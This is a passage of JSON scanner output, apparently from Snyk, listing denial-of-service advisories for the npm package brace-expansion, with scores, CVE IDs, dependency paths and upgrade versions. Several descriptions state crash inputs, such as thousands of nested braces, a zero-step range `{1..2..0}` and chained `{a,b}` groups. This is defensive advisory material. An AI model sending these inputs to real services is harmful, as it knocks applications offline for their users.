Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
